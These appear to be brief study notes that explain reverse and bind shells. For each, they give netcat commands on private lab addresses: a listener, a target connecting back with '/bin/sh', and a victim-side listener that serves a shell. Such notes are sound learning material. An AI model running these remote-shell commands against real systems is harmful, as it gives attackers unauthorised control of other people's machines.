Victim -> Attacker
- A victim connects back to us (attacker runs listener)
Example:
Attacker- 192.168.1.1
nc -lnvp 4444
Target- 192.168.1.2
nc 192.168.1.1 4444 -e /bin/sh
- The target connects back to the attacker's machine which is in a listening state
Attacker -> Victim
- An attacker connects to the victim (victim runs a listener)
Example:
Attacker- 192.168.1.1
nc 192.168.1.2 4444
Target- 192.168.1.2
nc -lnvp 4444 -e /bin/sh